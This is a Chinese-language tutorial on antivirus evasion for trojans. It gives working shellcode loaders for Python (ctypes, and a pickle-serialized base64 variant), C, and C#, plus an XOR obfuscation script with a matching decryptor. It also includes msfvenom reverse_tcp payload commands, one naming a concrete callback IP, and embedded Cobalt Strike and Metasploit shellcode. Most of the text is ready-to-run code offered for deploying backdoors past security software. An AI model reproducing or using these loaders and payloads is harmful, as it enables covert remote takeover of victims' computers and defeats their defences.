木马免杀

最近学了点木马免杀,其实总结起来一共有三个层面,代码面,文件面,逻辑面。

代码层面可以通过shellcode编码混淆,编辑执行器,分离加载器等方法进行免杀

文件面可以通过特征码定位,加壳花指令等方式

逻辑面可以通过一些反vt虚拟机的方法进行免杀

下面先介绍一些语言的shellcode加载方式和一些免杀方法,有些可能不是很全,主要为大家提供一些思路

后面不足再补充

Python加载shellcode

ctypes

ctypes是 Python的外部函数库。它提供了与 C 兼容的数据类型,并允许调用 DLL 或共享库中的函数。

dll动态链接库

动态链接库是微软公司在微软Windows操作系统中,实现共享函数库概念的一种方式。其后缀名多为.dll, dll文件中包含一个或多个已被编译、链接并与使用它们的进程分开存储的函数。我们经常在程序安装目录下看到它们。

shellcode加载器

python加载shellcode可以使用该代码来加载:

import ctypes # #cs加载 #shellcode=b'xfcxe8x89x00x00x00x60x89xe5x31xd2x64x8bx52x30x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26x31xffx31xc0xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7xe2xf0x52x57x8bx52x10x8bx42x3cx01xd0x8bx40x78x85xc0x74x4ax01xd0x50x8bx48x18x8bx58x20x01xd3xe3x3cx49x8bx34x8bx01xd6x31xffx31xc0xacxc1xcfx0dx01xc7x38xe0x75xf4x03x7dxf8x3bx7dx24x75xe2x58x8bx58x24x01xd3x66x8bx0cx4bx8bx58x1cx01xd3x8bx04x8bx01xd0x89x44x24x24x5bx5bx61x59x5ax51xffxe0x58x5fx5ax8bx12xebx86x5dx68x6ex65x74x00x68x77x69x6ex69x54x68x4cx77x26x07xffxd5x31xffx57x57x57x57x57x68x3ax56x79xa7xffxd5xe9x84x00x00x00x5bx31xc9x51x51x6ax03x51x51x68xb8x22x00x00x53x50x68x57x89x9fxc6xffxd5xebx70x5bx31xd2x52x68x00x02x40x84x52x52x52x53x52x50x68xebx55x2ex3bxffxd5x89xc6x83xc3x50x31xffx57x57x6axffx53x56x68x2dx06x18x7bxffxd5x85xc0x0fx84xc3x01x00x00x31xffx85xf6x74x04x89xf9xebx09x68xaaxc5xe2x5dxffxd5x89xc1x68x45x21x5ex31xffxd5x31xffx57x6ax07x51x56x50x68xb7x57xe0x0bxffxd5xbfx00x2fx00x00x39xc7x74xb7x31xffxe9x91x01x00x00xe9xc9x01x00x00xe8x8bxffxffxffx2fx79x49x53x47x00x92x55x4axe7x6fx4ex93x97xf6xdbx8axc2x8cx89xfex25x7dx9fx6cx95x75x15xafx9fx9cx1bx9bx2bx0bx54xf8x7cxb5xbaxe6x4bx3fx0cx33xb3xf3x62x1ax7cxe0x4exc0x97x25x6cx67x67xafx8cxa1x88xd1xd0xc6x98x63x6dx13x81xf2x97x88xedx56x3fxd5x5bx5dx00x55x73x65x72x2dx41x67x65x6ex74x3ax20x4dx6fx7ax69x6cx6cx61x2fx35x2ex30x20x28x63x6fx6dx70x61x74x69x62x6cx65x3bx20x4dx53x49x45x20x39x2ex30x3bx20x57x69x6ex64x6fx77x73x20x4ex54x20x36x2ex31x3bx20x57x4fx57x36x34x3bx20x54x72x69x64x65x6ex74x2fx35x2ex30x3bx20x4ex50x30x38x3bx20x4dx41x41x55x3bx20x4ex50x30x38x29x0dx0ax00x6dxdfxa6xd0x31xf7x38x53xf5x98x6ex4cx89x71x8fxb4x2cx39xfdx57x06xbdxf9x47xd9x15xc5x92x4ax7ex0exa1x26xc4xc9x70xddx98xecxdbxc6x95x4ax6excbx43x8cx4exb6x17xd2xe7x31x46xe0x93x09x39xfcxe7xb1xf4xa8xf0xf1x70x0bx0bx71xe2x9fx1dx5ax2fx57xe1x5exdfx39xd9x56x5ax06x9ex3cx64xb7x08xedxf6x9ex25x72x6cxeex92x06x75xefxfcx12xb7xe5xa5xe9xe8x50x7axb1xe5x27xf9x73xc2x13x66x6cx3exa0x8ax9cx8ax51xcaxf4x35xb8x6fxb0xfcxc9x7fxc7x57x6fxc1xcfx2bx39xf2x8dx5bxcdxa6x14x85xa2xc0x3cx6cx5dxfcx55xfaxaaxf7x05xacx48x76x9cxbax51x14xedx7cx72x01x81x6bxcax13x5ex55x09x90x07x7bxf2x27xc0x4cx2fx58x43x3cx07x83xf8xe5x5cx1axb6x68x93xe4x51xfcx51x68x00x68xf0xb5xa2x56xffxd5x6ax40x68x00x10x00x00x68x00x00x40x00x57x68x58xa4x53xe5xffxd5x93xb9x00x00x00x00x01xd9x51x53x89xe7x57x68x00x20x00x00x53x56x68x12x96x89xe2xffxd5x85xc0x74xc6x8bx07x01xc3x85xc0x75xe5x58xc3xe8xa9xfdxffxffx34x37x2ex39x34x2ex32x33x36x2ex31x31x37x00x00x01x86xa0'  #msf加载 # shellcode =  b"" # shellcode += b"xfcxe8x8fx00x00x00x60x89xe5x31xd2x64x8b" # shellcode += b"x52x30x8bx52x0cx8bx52x14x0fxb7x4ax26x31" # shellcode += b"xffx8bx72x28x31xc0xacx3cx61x7cx02x2cx20" # shellcode += b"xc1xcfx0dx01xc7x49x75xefx52x8bx52x10x8b" # shellcode += b"x42x3cx57x01xd0x8bx40x78x85xc0x74x4cx01" # shellcode += b"xd0x50x8bx58x20x8bx48x18x01xd3x85xc9x74" # shellcode += b"x3cx31xffx49x8bx34x8bx01xd6x31xc0xacxc1" # shellcode += b"xcfx0dx01xc7x38xe0x75xf4x03x7dxf8x3bx7d" # shellcode += b"x24x75xe0x58x8bx58x24x01xd3x66x8bx0cx4b" # shellcode += b"x8bx58x1cx01xd3x8bx04x8bx01xd0x89x44x24" # shellcode += b"x24x5bx5bx61x59x5ax51xffxe0x58x5fx5ax8b" # shellcode += b"x12xe9x80xffxffxffx5dx68x33x32x00x00x68" # shellcode += b"x77x73x32x5fx54x68x4cx77x26x07x89xe8xff" # shellcode += b"xd0xb8x90x01x00x00x29xc4x54x50x68x29x80" # shellcode += b"x6bx00xffxd5x6ax0ax68x2fx5execx75x68x02" # shellcode += b"x00x1ax20x89xe6x50x50x50x50x40x50x40x50" # shellcode += b"x68xeax0fxdfxe0xffxd5x97x6ax10x56x57x68" # shellcode += b"x99xa5x74x61xffxd5x85xc0x74x0axffx4ex08" # shellcode += b"x75xecxe8x67x00x00x00x6ax00x6ax04x56x57" # shellcode += b"x68x02xd9xc8x5fxffxd5x83xf8x00x7ex36x8b" # shellcode += b"x36x6ax40x68x00x10x00x00x56x6ax00x68x58" # shellcode += b"xa4x53xe5xffxd5x93x53x6ax00x56x53x57x68" # shellcode += b"x02xd9xc8x5fxffxd5x83xf8x00x7dx28x58x68" # shellcode += b"x00x40x00x00x6ax00x50x68x0bx2fx0fx30xff" # shellcode += b"xd5x57x68x75x6ex4dx61xffxd5x5ex5exffx0c" # shellcode += b"x24x0fx85x70xffxffxffxe9x9bxffxffxffx01" # shellcode += b"xc3x29xc6x75xc1xc3xbbxf0xb5xa2x56x6ax00" # shellcode += b"x53xffxd5" # print(shellcode) shellcode=b'xfcxe8x8fx00x00x00`x89xe51xd2dx8bR0x8bRx0cx8bRx14x0fxb7J&1xffx8br(1xc0xac<a|x02, xc1xcfrx01xc7IuxefRx8bRx10x8bB<Wx01xd0x8b@xx85xc0tLx01xd0Px8bX x8bHx18x01xd3x85xc9t<1xffIx8b4x8bx01xd61xc0xacxc1xcfrx01xc78xe0uxf4x03}xf8;}$uxe0Xx8bX$x01xd3fx8bx0cKx8bXx1cx01xd3x8bx04x8bx01xd0x89D$$[[aYZQxffxe0X_Zx8bx12xe9x80xffxffxff]h32x00x00hws2_ThLw&x07x89xe8xffxd0xb8x90x01x00x00)xc4TPh)x80kx00xffxd5jnh/^xecuhx02x00x1a x89xe6PPPP@P@Phxeax0fxdfxe0xffxd5x97jx10VWhx99xa5taxffxd5x85xc0tnxffNx08uxecxe8gx00x00x00jx00jx04VWhx02xd9xc8_xffxd5x83xf8x00~6x8b6j@hx00x10x00x00Vjx00hXxa4Sxe5xffxd5x93Sjx00VSWhx02xd9xc8_xffxd5x83xf8x00}(Xhx00@x00x00jx00Phx0b/x0f0xffxd5WhunMaxffxd5^^xffx0c$x0fx85pxffxffxffxe9x9bxffxffxffx01xc3)xc6uxc1xc3xbbxf0xb5xa2Vjx00Sxffxd5'   rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40) ctypes.windll.kernel32.RtlMoveMemory(rwxpage, ctypes.create_string_buffer(shellcode), len(shellcode)) handle = ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0, 0) ctypes.windll.kernel32.WaitForSingleObject(handle, -1)   

将cs或msf生成的shellcode赋给shellcode变量,运行脚本即可

msf生成c语言shellcode

msfvenom -p windows/meterpreter/reverse_tcp lhost=ip lport=6688 -f c 

木马免杀

cs生成c语言shellcode

木马免杀

选择c文件即可生成payload.c到本地

木马免杀

shellcode反序列化

上面为常规的shellcode加载方式,免杀效果很差,接下来我们对代码做一些文章

先看下面的代码

import pickle import base64  shellcode = ''' import ctypes,base64 encode_shellcode=b'/OiJAAAAYInlMdJki1Iwi1IMi1IUi3IoD7dKJjH/McCsPGF8Aiwgwc8NAcfi8FJXi1IQi0I8AdCLQHiFwHRKAdBQi0gYi1ggAdPjPEmLNIsB1jH/McCswc8NAcc44HX0A334O30kdeJYi1gkAdNmiwxLi1gcAdOLBIsB0IlEJCRbW2FZWlH/4FhfWosS64ZdaG5ldABod2luaVRoTHcmB//VMf9XV1dXV2g6Vnmn/9XphAAAAFsxyVFRagNRUWiRHwAAU1BoV4mfxv/V63BbMdJSaAACQIRSUlJTUlBo61UuO//VicaDw1Ax/1dXav9TVmgtBhh7/9WFwA+EwwEAADH/hfZ0BIn56wloqsXiXf/VicFoRSFeMf/VMf9XagdRVlBot1fgC//VvwAvAAA5x3S3Mf/pkQEAAOnJAQAA6Iv///8vcUtqNgDnDUKQzbFJgn1MGnuswXkME+13hj1sZUf8l1pRtYbdau51eAnl14hrL5p1J6o++qDd3PG2CWgAgM1RfWNjgpkmVb0kuf4DZeo9AFVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChjb21wYXRpYmxlOyBNU0lFIDEwLjA7IFdpbmRvd3MgTlQgNi4yOyBUcmlkZW50LzYuMCkNCgCtcNmom+m0PlEQJIjE3erfPr68ECmWtnltx/qkbjpqb4fcrBNkbJgObjIHSLLd1wYkTJ3S3Ui/BzEaJC6pcth1G9p5e0dHCjc8yxs6YclVQOnvA4HXor97EzCHyjQTZcaPwlLtMQL7tUYQhCrnVPr8SpZU0w0JsbUCvSqWZ12qW/5x66wctc31Hw9954rt7ywul27znqTMMbMvI34GnwwMuKE4+eFtfWxq7KZCR4MWFo2P64pmkZzC00lpI4Qvl0VJDtglGGWuzkA20Z0ACyQ/p41NoSgTDCseexLyGETo4gBo8LWiVv/VakBoABAAAGgAAEAAV2hYpFPl/9WTuQAAAAAB2VFTiedXaAAgAABTVmgSloni/9WFwHTGiwcBw4XAdeVYw+ip/f//MTkyLjE2OC4zLjEzMQASNFZ4' shellcode = base64.b64decode(encode_shellcode) rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40) ctypes.windll.kernel32.RtlMoveMemory(rwxpage, ctypes.create_string_buffer(shellcode), len(shellcode)) handle = ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0, 0) ctypes.windll.kernel32.WaitForSingleObject(handle, -1)'''   class A(object):     def __reduce__(self):         return (exec, (shellcode,))   ret = pickle.dumps(A()) ret_base64 = base64.b64encode(ret) print(ret_base64) 

pickle模块可以把 Python 对象直接保存到文件里,说白了就是进行序列化的操作

reduce 为魔术方法,在反序列化的时候调用,而他会返回一个exec执行的shellcode

shellcode变量里其实就是我们上文中的加载代码(变量里用msf或cs生成的shellcode用了base64编码)

我们运行该代码即可得到序列化之后的shellcode加载代码

木马免杀

在进行上线时使用下面代码

import base64,pickle,ctypes shellcode=b'gASV0QUAAAAAAACMCGJ1aWx0aW5zlIwEZXhlY5STlFiyBQAACmltcG9ydCBjdHlwZXMsYmFzZTY0CmVuY29kZV9zaGVsbGNvZGU9YicvT2lKQUFBQVlJbmxNZEpraTFJd2kxSU1pMUlVaTNJb0Q3ZEtKakgvTWNDc1BHRjhBaXdnd2M4TkFjZmk4RkpYaTFJUWkwSThBZENMUUhpRndIUktBZEJRaTBnWWkxZ2dBZFBqUEVtTE5Jc0IxakgvTWNDc3djOE5BY2M0NEhYMEEzMzRPMzBrZGVKWWkxZ2tBZE5taXd4TGkxZ2NBZE9MQklzQjBJbEVKQ1JiVzJGWldsSC80RmhmV29zUzY0WmRhRzVsZEFCb2QybHVhVlJvVEhjbUIvL1ZNZjlYVjFkWFYyZzZWbm1uLzlYcGhBQUFBRnN4eVZGUmFnTlJVV2lSSHdBQVUxQm9WNG1meHYvVjYzQmJNZEpTYUFBQ1FJUlNVbEpUVWxCbzYxVXVPLy9WaWNhRHcxQXgvMWRYYXY5VFZtZ3RCaGg3LzlXRndBK0V3d0VBQURIL2hmWjBCSW41Nndsb3FzWGlYZi9WaWNGb1JTRmVNZi9WTWY5WGFnZFJWbEJvdDFmZ0MvL1Z2d0F2QUFBNXgzUzNNZi9wa1FFQUFPbkpBUUFBNkl2Ly8vOHZjVXRxTmdEbkRVS1F6YkZKZ24xTUdudXN3WGtNRSsxM2hqMXNaVWY4bDFwUnRZYmRhdTUxZUFubDE0aHJMNXAxSjZvKytxRGQzUEcyQ1dnQWdNMVJmV05qZ3BrbVZiMGt1ZjREWmVvOUFGVnpaWEl0UVdkbGJuUTZJRTF2ZW1sc2JHRXZOUzR3SUNoamIyMXdZWFJwWW14bE95Qk5VMGxGSURFd0xqQTdJRmRwYm1SdmQzTWdUbFFnTmk0eU95QlVjbWxrWlc1MEx6WXVNQ2tOQ2dDdGNObW9tK20wUGxFUUpJakUzZXJmUHI2OEVDbVd0bmx0eC9xa2JqcHFiNGZjckJOa2JKZ09iaklIU0xMZDF3WWtUSjNTM1VpL0J6RWFKQzZwY3RoMUc5cDVlMGRIQ2pjOHl4czZZY2xWUU9udkE0SFhvcjk3RXpDSHlqUVRaY2FQd2xMdE1RTDd0VVlRaENyblZQcjhTcFpVMHcwSnNiVUN2U3FXWjEycVcvNXg2NndjdGMzMUh3OTk1NHJ0N3l3dWwyN3pucVRNTWJNdkkzNEdud3dNdUtFNCtlRnRmV3hxN0taQ1I0TVdGbzJQNjRwbWtaekMwMGxwSTRRdmwwVkpEdGdsR0dXdXprQTIwWjBBQ3lRL3A0MU5vU2dURENzZWV4THlHRVRvNGdCbzhMV2lWdi9WYWtCb0FCQUFBR2dBQUVBQVYyaFlwRlBsLzlXVHVRQUFBQUFCMlZGVGllZFhhQUFnQUFCVFZtZ1Nsb25pLzlXRndIVEdpd2NCdzRYQWRlVll3K2lwL2YvL01Ua3lMakUyT0M0ekxqRXpNUUFTTkZaNCcKc2hlbGxjb2RlID0gYmFzZTY0LmI2NGRlY29kZShlbmNvZGVfc2hlbGxjb2RlKQpyd3hwYWdlID0gY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5WaXJ0dWFsQWxsb2MoMCwgbGVuKHNoZWxsY29kZSksIDB4MTAwMCwgMHg0MCkKY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KHJ3eHBhZ2UsIGN0eXBlcy5jcmVhdGVfc3RyaW5nX2J1ZmZlcihzaGVsbGNvZGUpLCBsZW4oc2hlbGxjb2RlKSkKaGFuZGxlID0gY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5DcmVhdGVUaHJlYWQoMCwgMCwgcnd4cGFnZSwgMCwgMCwgMCkKY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5XYWl0Rm9yU2luZ2xlT2JqZWN0KGhhbmRsZSwgLTEplIWUUpQu' pickle.loads(base64.b64decode(shellcode)) 

shellcode后写上上诉生成的序列化代码

pickle.loads为反序列化操作

运行该代码即可上线

C加载ShellCode

首先cs生成shellcode

木马免杀

使用下面的代码

#include <Windows.h> #include <stdio.h> #include <string.h>  #pragma comment(linker,"/subsystem:"Windows" /entry:"mainCRTStartup"") //windows控制台程序不出黑窗口   unsigned char buf[] = "xfcxe8x8fx00x00x00x60x89xe5x31xd2x64x8bx52x30" "x8bx52x0cx8bx52x14x31xffx8bx72x28x0fxb7x4ax26" "x31xc0xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7x49" "x75xefx52x8bx52x10x57x8bx42x3cx01xd0x8bx40x78" "x85xc0x74x4cx01xd0x8bx48x18x8bx58x20x01xd3x50" "x85xc9x74x3cx49x8bx34x8bx31xffx01xd6x31xc0xc1" "xcfx0dxacx01xc7x38xe0x75xf4x03x7dxf8x3bx7dx24" "x75xe0x58x8bx58x24x01xd3x66x8bx0cx4bx8bx58x1c" "x01xd3x8bx04x8bx01xd0x89x44x24x24x5bx5bx61x59" "x5ax51xffxe0x58x5fx5ax8bx12xe9x80xffxffxffx5d" "x68x33x32x00x00x68x77x73x32x5fx54x68x4cx77x26" "x07x89xe8xffxd0xb8x90x01x00x00x29xc4x54x50x68" "x29x80x6bx00xffxd5x6ax0ax68x2fx5execx75x68x02" "x00x1ax20x89xe6x50x50x50x50x40x50x40x50x68xea" "x0fxdfxe0xffxd5x97x6ax10x56x57x68x99xa5x74x61" "xffxd5x85xc0x74x0axffx4ex08x75xecxe8x67x00x00" "x00x6ax00x6ax04x56x57x68x02xd9xc8x5fxffxd5x83" "xf8x00x7ex36x8bx36x6ax40x68x00x10x00x00x56x6a" "x00x68x58xa4x53xe5xffxd5x93x53x6ax00x56x53x57" "x68x02xd9xc8x5fxffxd5x83xf8x00x7dx28x58x68x00" "x40x00x00x6ax00x50x68x0bx2fx0fx30xffxd5x57x68" "x75x6ex4dx61xffxd5x5ex5exffx0cx24x0fx85x70xff" "xffxffxe9x9bxffxffxffx01xc3x29xc6x75xc1xc3xbb" "xf0xb5xa2x56x6ax00x53xffxd5";      int main()  {      	//((void(WINAPI*)(void))&buf)(); 	 	//char* Memory;     //Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);     //memcpy(Memory, buf, sizeof(buf));     //((void(*)())Memory)();      //__asm {     //lea eax,buf     //call eax     //} 	 	//__asm{ 	//mov eax, offset shellcode 	//_emit 0xFF 	//_emit 0xE0 	//}  } 

在mian函数中有四个注释块,分别代表四个不同的加载形式,随便用一个即可

使用vs 2019打开选择生成解决方案即可生成exe文件

木马免杀

运行exe即可上线

木马免杀

xor加密

先试用cs生成一个bin文件,选择raw输出格式

木马免杀

使用xor异或加密脚本

python xor.py -s payload.bin -d payload.c -n 10 -r out.binimport sys from argparse import ArgumentParser, FileType  def process_bin(num, src_fp, dst_fp, dst_raw):     shellcode = ''     shellcode_size = 0     shellcode_raw = b''     try:         while True:             code = src_fp.read(1)             if not code:                 break              base10 = ord(code) ^ num             base10_str = chr(base10)             shellcode_raw += base10_str.encode()             code_hex = hex(base10)             code_hex = code_hex.replace('0x','')             if(len(code_hex) == 1):                 code_hex = '0' + code_hex             shellcode += '\x' + code_hex             shellcode_size += 1         src_fp.close()         dst_raw.write(shellcode_raw)         dst_raw.close()         dst_fp.write(shellcode)         dst_fp.close()         return shellcode_size     except Exception as e:         sys.stderr.writelines(str(e))  def main():     parser = ArgumentParser(prog='Shellcode X', description='[XOR The Cobaltstrike PAYLOAD.BINs] t > Author: 471656814@qq.com')     parser.add_argument('-v','--version',nargs='?')     parser.add_argument('-s','--src',help=u'source bin file',type=FileType('rb'), required=True)     parser.add_argument('-d','--dst',help=u'destination shellcode file',type=FileType('w+'),required=True)     parser.add_argument('-n','--num',help=u'Confused number',type=int, default=90)     parser.add_argument('-r','--raw',help=u'output bin file', type=FileType('wb'), required=True)     args = parser.parse_args()     shellcode_size = process_bin(args.num, args.src, args.dst, args.raw)     sys.stdout.writelines("[+]Shellcode Size : {} n".format(shellcode_size))  if __name__ == "__main__":     main() 

将生成的payload.bin放置同一目录

使用python xor.py -s payload.bin -d payload.c -n 10 -r out.bin

木马免杀

即可生成加密后的payload.c

再使用解密脚本

#include <Windows.h>   // 入口函数 int wmain(int argc, TCHAR* argv[]) {      int shellcode_size = 0; // shellcode长度     DWORD dwThreadId; // 线程ID     HANDLE hThread; // 线程句柄 /* length: 800 bytes */      unsigned char buf[] = "xf6xe2x83x0ax0ax0ax6ax83xefx3bxd8x6ex81x58x3ax81x58x06x81x58x1ex81x78x22x05xbdx40x2cx3bxf5x3bxcaxa6x36x6bx76x08x26x2axcbxc5x07x0bxcdxe8xfax58x5dx81x58x1ax81x48x36x0bxdax81x4ax72x8fxcax7ex40x0bxdax5ax81x42x12x81x52x2ax0bxd9xe9x36x43x81x3ex81x0bxdcx3bxf5x3bxcaxa6xcbxc5x07x0bxcdx32xeax7fxfex09x77xf2x31x77x2ex7fxe8x52x81x52x2ex0bxd9x6cx81x06x41x81x52x16x0bxd9x81x0ex81x0bxdax83x4ex2ex2ex51x51x6bx53x50x5bxf5xeax52x55x50x81x18xe1x8cx57x62x64x6fx7ex0ax62x7dx63x64x63x5ex62x46x7dx2cx0dxf5xdfx3bxf5x5dx5dx5dx5dx5dx62x30x5cx73xadxf5xdfxe3x8ex0ax0ax0ax51x3bxc3x5bx5bx60x09x5bx5bx62x9bx15x0ax0ax59x5ax62x5dx83x95xccxf5xdfxe1x7ax51x3bxd8x58x62x0ax08x4ax8ex58x58x58x59x58x5ax62xe1x5fx24x31xf5xdfx83xccx89xc9x5ax3bxf5x5dx5dx60xf5x59x5cx62x27x0cx12x71xf5xdfx8fxcax05x8exc9x0bx0ax0ax3bxf5x8fxfcx7ex0ex83xf3xe1x03x62xa0xcfxe8x57xf5xdfx83xcbx62x4fx2bx54x3bxf5xdfx3bxf5x5dx60x0dx5bx5cx5ax62xbdx5dxeax01xf5xdfxb5x0ax25x0ax0ax33xcdx7exbdx3bxf5xe3x9bx0bx0ax0axe3xc3x0bx0ax0axe2x81xf5xf5xf5x25x6bx3fx7ex58x0axffx67x01xeexb8x23xd9xbfxf0x67xc9xb9x7axdax50x76x21x30x82x70x3ax53xd3x0cxdax43xf8x1axa5x2fx8fxf4x30x15x71x7fxf6xa0x30xfcx40x0dxe2x16x5dx31x49x90x17xe9x40x37x22x72x29x67xe4x27x5bx1cxa4xc8x0bx2cx3bx0fx22x88xd1x82x60x8ax94x0ax5fx79x6fx78x27x4bx6dx6fx64x7ex30x2ax47x65x70x63x66x66x6bx25x3ex24x3ax2ax22x69x65x67x7ax6bx7ex63x68x66x6fx31x2ax47x59x43x4fx2ax3dx24x3ax31x2ax5dx63x64x6ex65x7dx79x2ax44x5ex2ax3fx24x3bx31x2ax24x44x4fx5ex2ax49x46x58x2ax38x24x3ax24x3fx3ax3dx38x3dx31x2ax43x64x6cx65x5ax6bx7ex62x24x38x23x07x00x0axaax0ax95x44x8fx94x5ex80xa4x48x25x5fxb4x35x4ax12x78x1ex82x9fx27x52xd9x9exbdx0cx7ax10xb2xa5x0dx71x23xdaxc4xb2x69xf4xc2x57xa4xadx1cx61x6ax35xa7xc4x8dx81x5ax05x77x65xd8xd8x41x23x6axa0xaex6axfbx0cxbdxb4x54xcdxccx7bxebx91xedxccxefxd8xc6x27x1fxfbxcdxcfx21xc8x12x79x3ex86x17x26x1dx4dx4ex61xf8x6bxb8x93x95x9cxbax5axc4xe4x9fxb6x5bx66x85x35xa1x6fxf9xa8x5cx3fx3cxe1x76x0axfexf7x1fxfbxbbxf3x8dxbdx61x5bx07xa2x19x39x3ex4fx7ax7ax71xfexe3x81x64xefxe1x5dx1dx11xe9x83x91x57x23xc2xb5x28x6cxc9xe2x76xd0xfbx52x7fx5exfcx6fx2ex10x79x4fx36x04x30xa4x93x0ax57x98xe0x60xd1x6fx98x0ax10x94x75x3dxb2x8cx63xc2x16x50x9fx6fx31x61xffx37xe5xc1x7dx32x4bx0ax62xfaxbfxa8x5cxf5xdfx60x4ax62x0ax1ax0ax0ax62x0ax0ax4ax0ax5dx62x52xaex59xefxf5xdfx99xb3x0ax0ax0ax0ax0bxd3x5bx59x83xedx5dx62x0ax2ax0ax0ax59x5cx62x18x9cx83xe8xf5xdfx8fxcax7exccx81x0dx0bxc9x8fxcax7fxefx52xc9xe2xa3xf7xf5xf5x3bx33x38x24x3bx3cx32x24x39x24x3bx39x3bx0ax18x3ex5cx72";       // 获取shellcode大小     shellcode_size = sizeof(buf);      /* 增加异或代码 */     for (int i = 0; i < shellcode_size; i++) {         buf[i] ^= 10;     }     /*     VirtualAlloc(         NULL, // 基址         800,  // 大小         MEM_COMMIT, // 内存页状态         PAGE_EXECUTE_READWRITE // 可读可写可执行         );     */      char* shellcode = (char*)VirtualAlloc(         NULL,         shellcode_size,         MEM_COMMIT,         PAGE_EXECUTE_READWRITE     );     // 将shellcode复制到可执行的内存页中     CopyMemory(shellcode, buf, shellcode_size);      hThread = CreateThread(         NULL, // 安全描述符         NULL, // 栈的大小         (LPTHREAD_START_ROUTINE)shellcode, // 函数         NULL, // 参数         NULL, // 线程标志         &dwThreadId // 线程ID     );      WaitForSingleObject(hThread, INFINITE); // 一直等待线程执行结束     return 0; } 

木马免杀

将加密后的payload.c写入buf数组里

使用vs2019生成解决方案即可

C#加载ShellCode

使用msf生成

msfvenom -p windows/meterpreter/reverse_tcp LHOST=106.55.35.16 LPORT=6688 -e x86/shikata_ga_nai -i 15 -f csharp 

木马免杀

使用下面的加载代码

using System; using System.Runtime.InteropServices; namespace TCPMeterpreterProcess {     class Program     {         static void Main(string[] args)         {             // native function’s compiled code             // generated with metasploit             byte[] shellcode = new byte[] { 0xd9,0xf7,0xb8,0xed,0x74,0x37,0x77,0xd9,0x74,0x24,0xf4,0x5f,0x31,0xc9,0xb1, 0xb8,0x83,0xef,0xfc,0x31,0x47,0x13,0x03,0xaa,0x67,0xd5,0x82,0x8e,0x9f,0x63, 0xd0,0xe6,0x42,0x57,0xf3,0x82,0x58,0xac,0x59,0x41,0x68,0xfd,0xd3,0xa4,0x3f, 0xed,0x10,0x93,0xac,0x92,0xd2,0x08,0x4b,0xdc,0x0e,0xe7,0xee,0x1a,0x69,0xee, 0x9a,0xa7,0xb7,0x4b,0x95,0xe1,0xf9,0x85,0x69,0x35,0x76,0x8e,0xcd,0x90,0x5a, 0xf2,0xb6,0xfd,0x42,0xa7,0xf3,0x63,0x2a,0x06,0x02,0xd9,0x93,0x4d,0x38,0x87, 0x53,0x7e,0x77,0xd7,0x42,0x8c,0x1e,0x09,0x41,0xb5,0x63,0x9c,0xb4,0xc8,0x84, 0x78,0x51,0x78,0xf9,0xdc,0x72,0x9e,0x46,0x3f,0xfe,0x94,0xd6,0x04,0x2f,0x96, 0x16,0xe7,0x02,0x09,0x33,0x5c,0xe9,0x27,0x10,0x76,0x54,0xa0,0xe5,0x32,0x54, 0xfd,0x4a,0x10,0x37,0x12,0xbb,0x28,0xd6,0xe6,0xd4,0x17,0x28,0xd4,0xf0,0xc6, 0x5c,0x00,0x1c,0x54,0xec,0x67,0xa3,0xa2,0xcc,0xcf,0x4e,0x47,0x14,0xc6,0x1c, 0x29,0x34,0x33,0x97,0x9a,0x8f,0x99,0x4a,0xa8,0x0e,0x0f,0x25,0x72,0xbd,0x3c, 0x22,0xd4,0x52,0x5a,0x51,0x6c,0xab,0xdd,0x7f,0x7e,0x20,0x2f,0x43,0x21,0x9f, 0x60,0x51,0x00,0xc9,0x1c,0x88,0x36,0x12,0xb6,0xbf,0x6b,0x5d,0xbc,0x04,0xbc, 0x19,0x7b,0xdf,0x16,0x27,0xec,0x60,0x4c,0x40,0xa2,0x6e,0xd3,0x72,0x1e,0xc2, 0x50,0x84,0x53,0x7a,0x44,0xa2,0x18,0x2a,0xb8,0xb5,0x59,0x70,0xb3,0x7f,0x36, 0xb1,0xe1,0x03,0xfd,0x86,0x1d,0x84,0x12,0x29,0x64,0x50,0x95,0xbc,0xa6,0x66, 0x22,0x69,0x23,0x3e,0xc8,0x12,0x6b,0xa0,0x32,0xe1,0x4c,0xf3,0xb2,0x80,0x4b, 0x55,0x72,0x91,0x23,0x8d,0x8d,0x08,0x62,0x22,0x06,0x10,0x89,0x99,0xec,0xca,  };              UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);             Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);             IntPtr hThread = IntPtr.Zero;             UInt32 threadId = 0;             // prepare data             IntPtr pinfo = IntPtr.Zero;             // execute native code             hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);             WaitForSingleObject(hThread, 0xFFFFFFFF);         }         private static UInt32 MEM_COMMIT = 0x1000;         private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;         [DllImport("kernel32")]         private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,         UInt32 size, UInt32 flAllocationType, UInt32 flProtect);         [DllImport("kernel32")]         private static extern bool VirtualFree(IntPtr lpAddress,         UInt32 dwSize, UInt32 dwFreeType);         [DllImport("kernel32")]         private static extern IntPtr CreateThread(         UInt32 lpThreadAttributes,         UInt32 dwStackSize,         UInt32 lpStartAddress,         IntPtr param,         UInt32 dwCreationFlags,         ref UInt32 lpThreadId         );         [DllImport("kernel32")]         private static extern bool CloseHandle(IntPtr handle);         [DllImport("kernel32")]         private static extern UInt32 WaitForSingleObject(         IntPtr hHandle,         UInt32 dwMilliseconds         );         [DllImport("kernel32")]         private static extern IntPtr GetModuleHandle(         string moduleName         );         [DllImport("kernel32")]         private static extern UInt32 GetProcAddress(         IntPtr hModule,         string procName         );         [DllImport("kernel32")]         private static extern UInt32 LoadLibrary(         string lpFileName         );         [DllImport("kernel32")]         private static extern UInt32 GetLastError();     } } 

